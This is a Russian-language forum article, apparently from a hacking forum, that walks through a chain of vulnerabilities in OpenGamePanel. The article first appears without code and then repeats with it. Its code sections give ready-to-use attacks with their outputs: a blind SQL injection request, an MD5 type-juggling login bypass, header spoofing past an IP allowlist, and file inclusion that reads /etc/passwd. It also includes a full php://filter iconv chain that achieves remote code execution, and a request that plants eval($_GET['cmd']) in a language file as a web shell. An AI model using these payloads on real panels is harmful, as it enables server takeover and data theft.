stihl не предоставил(а) никакой дополнительной информации.
Существует много статей где одна крутая уязвимость и много CTF где тепочка разных уязвимостей. На этот раз роясь в коде очередного проекта, я обнаружил цепочку уязвимостей, да такую, что в итоге можно бабахнуть шеллы сотнями (Для просмотра ссылки Войди или Зарегистрируйся)! Эта статья расскажет о том, как я нашёл несколько уязвимостей в OpenGamePanel: от банальной SQL-инъекции до обхода авторизации через Type Juggling — и не только. Если вас интересуют только шеллы, можете смело перейти в часть RCE.
Введение
Техники
SQL-инъекция
Я никто
Приведение типов (Type Juggling)
Это не я, отвечаю
Долгожданный, но неожиданный РЦЕ
Я адмэн
Ненужное продолжение
Заключение
Введение [H2]
OpenGamePanel (OGP) — классический «движок» для управления игровыми серверами. Он умеет почти всё: устанавливать серверы, предоставлять удобный мониторинг и т.д. Но, как и с любым другим большим проектом, иногда в нём обнаруживаются уязвимости и логические дыры в коде.
Техники [H2]
Первый вопрос: «Как искать уязвимости?». У всех подход может отличаться. Кто-то открывает проект целиком и методично «прогрызает» код, кто-то запускает grep по ключевым словам ($_GET, eval, exec, include и т. д.). Лично я люблю сочетать оба способа: сначала грубый поиск по потенциально опасным конструкциям, а потом точечное изучение подозрительных участков кода вручную.
Semgrep и прочие инструменты статического анализа очень полезны, но без контекста они часто срабатывают «на всё подряд». Можно увидеть что-то вроде «О, тут потенциальный RCE!» — но на практике окажется, что этот скрипт запускают только админы, да ещё и с жёсткими фильтрами. Или наоборот — какой-то «невинный» участок кода неожиданно оказывается крайне опасным (привет, ==). Поэтому без ручной проверки и понимания логики не обойтись.
Иногда люди целенаправленно ищут RCE, а кому-то важнее найти уязвимости без авторизации, ведь они «дороже» и опаснее: эксплуатировать их может кто угодно, не входя в систему. У меня тоже был приоритет найти «дикую» дыру: такую, чтобы без логина и пароля можно было натворить что-нибудь интересное.
SQL-инъекция [H3]
Забавы ради я начал с проверки install.php. Если вы думаете что эти скрипты автоматически удаляются либо их и так после установки удаляют, вы правы, но есть одна причина из-за которой всё таки стоит посмотреть. И так кто-то сообщит это вендору и получит ЦВЕ, если продукт довольно знаменит. В друпал например репортят гаджеты, хоть и самой десериализации нет, тут одно и то же. Так что не стоит у себя создавать привычку в котором "игнорируете" эти скрипты.
Именно в этой части нет причины проверять где какая функция, потому что аутентификации пока что нет и можно "трогать" всё. Так что я просто начал просматривать некоторые функции. В OGP, внутри install.php, есть функция stripinput, которая должна «защищать» от инъекций:
Сами по себе кавычки вроде бы заменяются, кроме обратной кавычки. Обратная кавычка используется с именами таблиц, из-за этого на него забил абсолютно весь мир, серъёзно, проверьте функции которые якобы защищают от скули, вряд ли где то будет эскейпить бэктик.
То что выше я скулёй не засчитаю, там он создаёт таблицу. В install.php используется функция printView.
printView зовёт getSettings()
Как вы видите используется prepared statement, который якобы должен предотвратить от скули, но замены бэктика нигде нет, так что у нас тут слепая скуля через SELECT.
Я хекснул имя таблицы (ogp_widgets) и столбца (title) и отправил вот такой запрос:
Если запрос успешный, то ответ придёт черес 3 секунды:
По логам MySQL видно, что запрос действительно выполняется, и при наличии нужной таблицы наблюдается задержка в 3 секунды.
Я никто [H2]
Эта часть про обход аутентификации и про РЦЕ без аутентификации. Эти уязвимости абсолютно разные и не имеют никакого отношения друг к другу. Я просто хочу показать это как пример того как выглядит "идеальный" лаб с реальным продуктом.
Приведение типов (Type Juggling) [H3]
После проверки ненужной install.php "чтением функций", я решил проверить $_GET/$_POST/$_REQUEST. Фишка тут в том чтобы не проверять то что внутри аутентификации, например если видим что-то такого рода, игнор:
В целом пару минут спустя, я нашел такое:
Если первый параметр request[0] равен "create", то в качестве имени пользователя берётся request[1], а в качестве пароля — request[2]. После этого идёт проверка на md5($password) == $userInfo['users_passwd']. Обратите внимание: используется оператор ==, а не ===. При нестрогом сравнении PHP может автоматически преобразовывать типы.
Что такое Type Juggling?
В PHP тип переменной может меняться «на лету» в зависимости от контекста. Например, при сравнении строки с числом, строка пытается привести себя к числу:
Строки вида "0e..." трактуются как число в «научной нотации» и фактически превращаются в 0.
Если md5($password) даёт хеш, начинающийся на "0e...", то при нестрогом сравнении это приравнивается к нулю и, соответственно, будет «совпадать» с любым другим подобным «нулевым» хешем. Есть известные «пароли-коллизии», вроде 240610708 или QNKCDZO, у которых md5() имеет вид "0e...".
Именно это позволяет нам «схитрить» — например, запросом:
Ответ:
Та же проблема наблюдается в логине:
Нет, это не главная уязвимость, это просто относительно редкая уязвимость (Для просмотра ссылки Войди или Зарегистрируйся).
Это не я, отвечаю [H3]
Это приложение как будто мой новогодний подарок, потому что именно тут уязвимости которые находить в одном и том же месте, редкость просто. Мы все видим эти CTF и репорты баг баунти с обоходом рейт лимитов или чтением каких то файлов написав форвард хост как 127.0.0.1. OGP есть похожий механизм в двух местах, один при проверке рейт лимита, а другой при проверке "forwarded hosts"
Чтобы найти эту уязвимость, я просто полистал api_functions.php , так что технику назовём "читай код". Также имя файла кричит "тут уязвимость". Но естественно есть риски проверок таких функций, возможно их написали, но не используют, так что уязвимость будет ненужной, мы же не библиотеку проверяем. Кароч, я увидел такой кусок кода:
getClientForwardedIP проверяет существование хидеров. Если эта функция используется где то, то мы можем обмануть систему. Ну это в целом будет полезно в случаях где есть список разрешенных айпишек.
Список тоже есть:
Обход:
Ответ:
Одна и та же проблема в главной странице, но тут уже берёт то что в хидере как реальный айпи.
Тут забирает айпи с хидера если он есть:
К сожалению, и в этой функции, и в той которая выше (там дополнитекьная функция тоже есть) есть валидация, если бы её не было, то была бы возможна скуля. Разрабу повезло хД
Долгожданный, но неожиданный РЦЕ [H3]
У всех нас есть какие то инстинкты, перед тем как подойти к любой девушке этот инстинкт всегда срабатывает у меня, вот и как разультат этого инстинкта я начал проверять опен сорс проекты один за другим. К сожалению инстинкты нельзя "создать", но всегда можно улучшить, самое ужасное то что, нет детектора инстинктов чтобы мы знали над чем стоит работать, а над чем нет. Самые крутые статьи которые я читал, основаны на знаниях и инстинктах. Взлом фейсбук например от orange, кому бы пришло в голову проверить MDM (Управление мобильными устройствами), но также нужны знания чтобы копать в направлении этих инстинктов.
Решил я проверить свой инстинкт, прочитав имена файлов и их местонахождение в ОГП.
То, что мы хотим найти, – это RCE. Очевидно, оно может находиться в каком-то сервисе, например, в Crypt, но, судя по названию, это что-то, связанное с криптографией. Я понимаю, что модули, вероятно, требуют аутентификации, темы могут содержать отражённый XSS (но обычно там просто статическая страница). Папка Includes отвечает за функции, и хотя проверить все функции может быть не самой худшей идеей, это крайне трудоёмко, ведь некоторые из них могут вообще не использоваться в самом приложении.
Папка lang содержит языковые файлы и выглядит самой безобидной, но если подумать логически, для неё не требуется аутентификация. Обычно PHP-код в языковых файлах – это просто определения или фрагменты, которые напрямую не выполняются из браузера. Однако любопытно, что lang-check.php можно открыть из браузера. Этот файл проверяет, нет ли пропущенных переменных (переводов слов) или, наоборот, лишних. Кажется, что это тоже безобидно, так как, по идее, оно не должно принимать никаких данных от пользователя. Но если гипотетически оно всё же что-то принимает, то это могли бы быть, например, название языка для проверки или файл, в котором определяются переменные.
Моделирование угроз (Threat Modeling) — это процесс выявления, оценки и классификации потенциальных угроз и уязвимостей в системе до написания кода. Если бы мне сказали что будет такая страница, в которой будет проверка именно такого рода, я бы заранее предложил чтобы не было никакого "инпут"а с стороны юзера и предложил бы добавить аутентификацию.
Ну кароч, в начале файла есть такое:
Тут явно ясно файл инклужн, никакой санитизации, никакого листа.
Запрос:
Ответ:
iconv используется для преобразования текста из одной кодировки в другую. По дефолту в PHP этот екстеншн включен. Так что я просто копи пастнул готовую полезную нагрузку:
Ответ:
Эта уязвимость и есть способ через который можно будет получить шеллы
Я адмэн [H2]
В этой части статьи, я объясню код инъекцию авторизовавшись как админ.
Ненужное продолжение [H3]
Раз я открыл lang-check.php, не помешало бы проверить функцию где требует сессию админа. Странно что они для всех функций этим не воспользовались.
Моё внимание привлёк код выше, ведь там <?php, как я понял, он просто добавляет переменную и её перевод, для языка. Для этого нам нужно понять то, чему должен быть равен $file. Если просто открыть страницу /lang/lang-check.php, мы увидим что файлы, это Язык/файл.пхп, например, Arabic/global.php. Так что я в пост запросе как value/key посставил Arabic/global.php и свой эвал.
define(\''.$var.'\', "'.$value.'") это то куда нужно фокусироваться для создания запроса, я в value поставил полезную нагрузку, из за которой тест будет пустой, а после уже пойдет моя полезная нагрузка и пустой принт (чтобы код был без эрроров). В итоге добавиться такая строка в global.php:
Я просто открыл /lang/Arabic/global.php?cmd=system('id'); и получил ответ от сервера.
Заключение [H2]
В результате комбинированного анализа (поиск «подозрительных» конструкций, изучение кода вручную, проверка логики входа, проверка установки и проверка файлов локализации) удалось найти целый набор уязвимостей в OpenGamePanel. Я не хотел чтобы это была очередной "теоретической" статьёй, так что можете проверить подлинность того что я написал сами и убдеиться в реальности ситуации.
Введение
Техники
SQL-инъекция
Я никто
Приведение типов (Type Juggling)
Это не я, отвечаю
Долгожданный, но неожиданный РЦЕ
Я адмэн
Ненужное продолжение
Заключение
Введение [H2]
OpenGamePanel (OGP) — классический «движок» для управления игровыми серверами. Он умеет почти всё: устанавливать серверы, предоставлять удобный мониторинг и т.д. Но, как и с любым другим большим проектом, иногда в нём обнаруживаются уязвимости и логические дыры в коде.
Техники [H2]
Первый вопрос: «Как искать уязвимости?». У всех подход может отличаться. Кто-то открывает проект целиком и методично «прогрызает» код, кто-то запускает grep по ключевым словам ($_GET, eval, exec, include и т. д.). Лично я люблю сочетать оба способа: сначала грубый поиск по потенциально опасным конструкциям, а потом точечное изучение подозрительных участков кода вручную.
Semgrep и прочие инструменты статического анализа очень полезны, но без контекста они часто срабатывают «на всё подряд». Можно увидеть что-то вроде «О, тут потенциальный RCE!» — но на практике окажется, что этот скрипт запускают только админы, да ещё и с жёсткими фильтрами. Или наоборот — какой-то «невинный» участок кода неожиданно оказывается крайне опасным (привет, ==). Поэтому без ручной проверки и понимания логики не обойтись.
Иногда люди целенаправленно ищут RCE, а кому-то важнее найти уязвимости без авторизации, ведь они «дороже» и опаснее: эксплуатировать их может кто угодно, не входя в систему. У меня тоже был приоритет найти «дикую» дыру: такую, чтобы без логина и пароля можно было натворить что-нибудь интересное.
SQL-инъекция [H3]
Забавы ради я начал с проверки install.php. Если вы думаете что эти скрипты автоматически удаляются либо их и так после установки удаляют, вы правы, но есть одна причина из-за которой всё таки стоит посмотреть. И так кто-то сообщит это вендору и получит ЦВЕ, если продукт довольно знаменит. В друпал например репортят гаджеты, хоть и самой десериализации нет, тут одно и то же. Так что не стоит у себя создавать привычку в котором "игнорируете" эти скрипты.
Именно в этой части нет причины проверять где какая функция, потому что аутентификации пока что нет и можно "трогать" всё. Так что я просто начал просматривать некоторые функции. В OGP, внутри install.php, есть функция stripinput, которая должна «защищать» от инъекций:
Код:
// file: install.php
function stripinput($text) {
if (ini_get('magic_quotes_gpc')) $text = stripslashes($text);
$search = array("\"", "'", "\\", '\"', "\'", "<", ">", " ");
$replace = array(""", "'", "\", """, "'", "<", ">", " ");
$text = str_replace($search, $replace, $text);
return $text;
}
$table_prefix = stripinput($_POST['table_prefix']);
Код:
file: install.php
CREATE TABLE IF NOT EXISTS `".$table_prefix."modules
…..
$view->printView();
Код:
file: view.php
function printView($cleared = false, $dataType = "html") {
global $db, $OGPLangPre;
if ( is_object($db) && array_key_exists( "OGPDatabase", class_parents($db) ) ) {
$panel_settings = $db->getSettings();
}
Код:
public function getSettings() {
if ( !$this->link ) return;
$query = sprintf("SELECT * FROM `%ssettings`",
$this->table_prefix);
Я хекснул имя таблицы (ogp_widgets) и столбца (title) и отправил вот такой запрос:
Код:
db_host=localhost&db_user=ogp_user&db_pass=ogp_password&db_name=ogp_db&table_prefix=ogp_modules`+UNION+SELECT+1,2,3,4,((SELECT+SLEEP(3)+FROM+DUAL+WHERE+(SELECT+table_name+FROM+information_schema.columns+WHERE+table_schema%3dDATABASE()+AND+column_name+LIKE+0x7469746C65+LIMIT+0,1)+LIKE+0x6F67705F77696467657473));--+-&next=Next
Код:
250113 13:36:00 63 Query SELECT `id`,`title`,`folder`,`version`,`db_version` FROM `ogp_modules` UNION SELECT 1,2,3,4,((SELECT SLEEP(3) FROM DUAL WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema=DATABASE() AND column_name LIKE 0x7469746C65 LIMIT 0,1) LIKE 0x6F67705F77696467657473));-- -modules`
250113 13:36:03 63 Quit
Я никто [H2]
Эта часть про обход аутентификации и про РЦЕ без аутентификации. Эти уязвимости абсолютно разные и не имеют никакого отношения друг к другу. Я просто хочу показать это как пример того как выглядит "идеальный" лаб с реальным продуктом.
Приведение типов (Type Juggling) [H3]
После проверки ненужной install.php "чтением функций", я решил проверить $_GET/$_POST/$_REQUEST. Фишка тут в том чтобы не проверять то что внутри аутентификации, например если видим что-то такого рода, игнор:
Код:
if ( isset($_SESSION['users_login']) )
Код:
file:ogp_api.php
if($request[0] == "create")
{
$user = isset($request[1])?urldecode($request[1]):$_POST['user'];
$password = isset($request[2])?urldecode($request[2]):$_POST['password'];
$userInfo = $db->getUser($user);
if(isset($userInfo['users_passwd']) && md5($password) == $userInfo['users_passwd'])
Что такое Type Juggling?
В PHP тип переменной может меняться «на лету» в зависимости от контекста. Например, при сравнении строки с числом, строка пытается привести себя к числу:
Код:
$a = "0e12092091";
$b = 0;
if ($a == $b) {
echo "Равны"; // Печатает "Равны", поскольку "0e12092091" -> 0
}
Если md5($password) даёт хеш, начинающийся на "0e...", то при нестрогом сравнении это приравнивается к нулю и, соответственно, будет «совпадать» с любым другим подобным «нулевым» хешем. Есть известные «пароли-коллизии», вроде 240610708 или QNKCDZO, у которых md5() имеет вид "0e...".
Именно это позволяет нам «схитрить» — например, запросом:
Код:
/ogp_api.php?token/create/admin/QNKCDZO
Код:
{"status":"200","message":"1e585026f4e5b2edd48e09899b27c39ad90203b2ced4ff1b2e0aab2bede28b28"}
Код:
file:index.php
$userInfo = $db->getUser($_POST['ulogin']);
// If result matched $myusername and $mypassword, table row must be 1 row
if( isset($userInfo['users_passwd']) && md5($_POST['upassword']) == $userInfo['users_passwd'])
Это не я, отвечаю [H3]
Это приложение как будто мой новогодний подарок, потому что именно тут уязвимости которые находить в одном и том же месте, редкость просто. Мы все видим эти CTF и репорты баг баунти с обоходом рейт лимитов или чтением каких то файлов написав форвард хост как 127.0.0.1. OGP есть похожий механизм в двух местах, один при проверке рейт лимита, а другой при проверке "forwarded hosts"
Чтобы найти эту уязвимость, я просто полистал api_functions.php , так что технику назовём "читай код". Также имя файла кричит "тут уязвимость". Но естественно есть риски проверок таких функций, возможно их написали, но не используют, так что уязвимость будет ненужной, мы же не библиотеку проверяем. Кароч, я увидел такой кусок кода:
Код:
file:api_functions.php
function getClientForwardedIP(){
if(isset($_SERVER['HTTP_CF_CONNECTING_IP']) and !empty($_SERVER['HTTP_CF_CONNECTING_IP']))
return $_SERVER['HTTP_CF_CONNECTING_IP'];
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) and !empty($_SERVER['HTTP_X_FORWARDED_FOR']))
return $_SERVER['HTTP_X_FORWARDED_FOR'];
if(isset($_SERVER['HTTP_X_REAL_IP']) and !empty($_SERVER['HTTP_X_REAL_IP']))
return $_SERVER['HTTP_X_REAL_IP'];
return false;
}
Код:
file:api_functions.php
function is_authorized()
…..
$client_forwarded_ip = getClientForwardedIP();
Код:
/api_authorized.fwd_hosts
2.2.2.2
3.3.3.3
Код:
GET /ogp_api.php?token/test/a HTTP/1.1
CF-Connecting-IP: 2.2.2.2
Код:
{"status":"400","message":"Invalid Token"}
Код:
functions.php
function getClientIPAddress(){
if(isset($_SERVER['HTTP_CF_CONNECTING_IP']) && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
}else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else if(isset($_SERVER['HTTP_X_REAL_IP']) && !empty($_SERVER['HTTP_X_REAL_IP'])){
$ip = $_SERVER['HTTP_X_REAL_IP'];
}
if(filter_var(@(string)$ip, FILTER_VALIDATE_IP)){
return $ip;
}
return $_SERVER['REMOTE_ADDR'];
}
Код:
index.php
if ( isset($_POST['login']) )
{
$client_ip = getClientIPAddress();
Долгожданный, но неожиданный РЦЕ [H3]
У всех нас есть какие то инстинкты, перед тем как подойти к любой девушке этот инстинкт всегда срабатывает у меня, вот и как разультат этого инстинкта я начал проверять опен сорс проекты один за другим. К сожалению инстинкты нельзя "создать", но всегда можно улучшить, самое ужасное то что, нет детектора инстинктов чтобы мы знали над чем стоит работать, а над чем нет. Самые крутые статьи которые я читал, основаны на знаниях и инстинктах. Взлом фейсбук например от orange, кому бы пришло в голову проверить MDM (Управление мобильными устройствами), но также нужны знания чтобы копать в направлении этих инстинктов.
Решил я проверить свой инстинкт, прочитав имена файлов и их местонахождение в ОГП.
Код:
├── api_authorized.fwd_hosts
├── api_authorized.hosts
├── COPYING
├── Crypt
│ └── XXTEA.php
├── css
│ └── global.css
├── home.php
├── images
│ ├── addfolder.png
│ ├── auto_update.png
│ ├── banner.gif
│ ├── bg
│ ├── bg.png
│ ├── customfields.png
│ ├── editconfig.png
│ ├── edit.png
│ ├── exec.png
│ ├── filemanager.png
│ ├── file_size.png
│ ├── flags
│ ├── folder.png
│ ├── ftp.png
│ ├── gamemanager.png
│ ├── game_monitor.png
│ ├── half.png
│ ├── icon_help_small.gif
│ ├── icons
│ ├── install.png
│ ├── loading.gif
│ ├── locked.png
│ ├── log.png
│ ├── magnifglass.png
│ ├── master.png
│ ├── offline.png
│ ├── online_big.png
│ ├── online_passwd.png
│ ├── online.png
│ ├── os
│ ├── progressBar.png
│ ├── rcon_preset.png
│ ├── restart.png
│ ├── rsync.png
│ ├── start.png
│ ├── steam.png
│ ├── stop.png
│ ├── tablesorter_collapse.png
│ ├── tablesorter_expand.png
│ ├── term.png
│ ├── txt.png
│ ├── unlocked.png
│ └── viewer
├── includes
│ ├── api_functions.php
│ ├── classes
│ ├── config.inc.php
│ ├── database_mysqli.php
│ ├── database.php
│ ├── fonts
│ ├── form_table_class.php
│ ├── functions.php
│ ├── helpers.php
│ ├── html_functions.php
│ ├── ip_in_range.php
│ ├── lang.php
│ ├── lib_remote.php
│ ├── navig.php
│ ├── PHPMailer
│ ├── phpxmlrpc
│ ├── refreshed.php
│ ├── view.php
│ ├── XmlRPC-bootstrap.php
│ └── XmlRPC.php
├── index.php
├── js
│ ├── datetimepicker
│ ├── global.js
│ ├── jquery
│ ├── magnific
│ ├── modules
│ └── zlib
├── lang
│ ├── Arabic
│ ├── Chinese(China)
│ ├── Croatian(Croatia)
│ ├── Czech(CzechRepublic)
│ ├── Danish
│ ├── English
│ ├── Finnish(Finland)
│ ├── French
│ ├── German
│ ├── Greek(Greece)
│ ├── Hebrew(Israel)
│ ├── Hungarian
│ ├── Italian
│ ├── lang-check.php
│ ├── Persian
│ ├── Polish
│ ├── Portuguese
│ ├── Portuguese(Brazil)
│ ├── README.lang
│ ├── Romanian(Romania)
│ ├── Russian
│ ├── Serbian(Serbia)
│ ├── Spanish
│ ├── Swedish(Sweden)
│ └── Turkish(Turkey)
├── modules
│ ├── addonsmanager
│ ├── administration
│ ├── config_games
│ ├── dashboard
│ ├── extras
│ ├── ftp
│ ├── gamemanager
│ ├── litefm
│ ├── lostpwd
│ ├── modulemanager
│ ├── mysql
│ ├── README.modules
│ ├── register
│ ├── server
│ ├── settings
│ ├── status
│ ├── subusers
│ ├── TS3Admin
│ ├── update
│ ├── user_admin
│ └── user_games
├── ogp_api.php
├── protocol
│ ├── GameQ
│ ├── lgsl
│ └── TeamSpeak3
├── README.md
├── test_api.php
└── themes
├── Modern
├── README.themes
└── Revolution
Папка lang содержит языковые файлы и выглядит самой безобидной, но если подумать логически, для неё не требуется аутентификация. Обычно PHP-код в языковых файлах – это просто определения или фрагменты, которые напрямую не выполняются из браузера. Однако любопытно, что lang-check.php можно открыть из браузера. Этот файл проверяет, нет ли пропущенных переменных (переводов слов) или, наоборот, лишних. Кажется, что это тоже безобидно, так как, по идее, оно не должно принимать никаких данных от пользователя. Но если гипотетически оно всё же что-то принимает, то это могли бы быть, например, название языка для проверки или файл, в котором определяются переменные.
Моделирование угроз (Threat Modeling) — это процесс выявления, оценки и классификации потенциальных угроз и уязвимостей в системе до написания кода. Если бы мне сказали что будет такая страница, в которой будет проверка именно такого рода, я бы заранее предложил чтобы не было никакого "инпут"а с стороны юзера и предложил бы добавить аутентификацию.
Ну кароч, в начале файла есть такое:
Код:
if(isset($_GET['file']))
{
$file = urldecode($_GET['file']);
include($file);
$constants = get_defined_constants(true);
echo base64_encode(serialize($constants['user']));
exit();
}
Запрос:
Код:
GET /lang/lang-check.php?0=id&file=/etc/passwd HTTP/1.1
Код:
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Код:
GET /lang/lang-check.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd HTTP/1.1
Код:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<каракули>
Я адмэн [H2]
В этой части статьи, я объясню код инъекцию авторизовавшись как админ.
Ненужное продолжение [H3]
Раз я открыл lang-check.php, не помешало бы проверить функцию где требует сессию админа. Странно что они для всех функций этим не воспользовались.
Код:
$file = $lang_name."/".$glf;
if( isset( $_POST[str_replace(".", "_", $file)] ) )
{
echo "<h2>".$lang_name."</h2>\n";
echo $file."\n Values Added.";
$add_values = '<?php '."\n";
foreach ( $_POST as $var => $value )
{
if( $var != str_replace(".", "_", $file) )
$add_values .= 'define(\''.$var.'\', "'.$value.'");'."\n";
}
$add_values .= '?>';
$fh = fopen($file, 'a') or die("can't open file");
fwrite($fh, $add_values);
fclose($fh);
}
}
Код:
POST /lang/lang-check.php HTTP/1.1
test=");eval($_GET['cmd']);print("&Arabic/global.php=Arabic/global.php
Код:
<?php define('test', "");eval($_GET['cmd']);print("");?>
Заключение [H2]
В результате комбинированного анализа (поиск «подозрительных» конструкций, изучение кода вручную, проверка логики входа, проверка установки и проверка файлов локализации) удалось найти целый набор уязвимостей в OpenGamePanel. Я не хотел чтобы это была очередной "теоретической" статьёй, так что можете проверить подлинность того что я написал сами и убдеиться в реальности ситуации.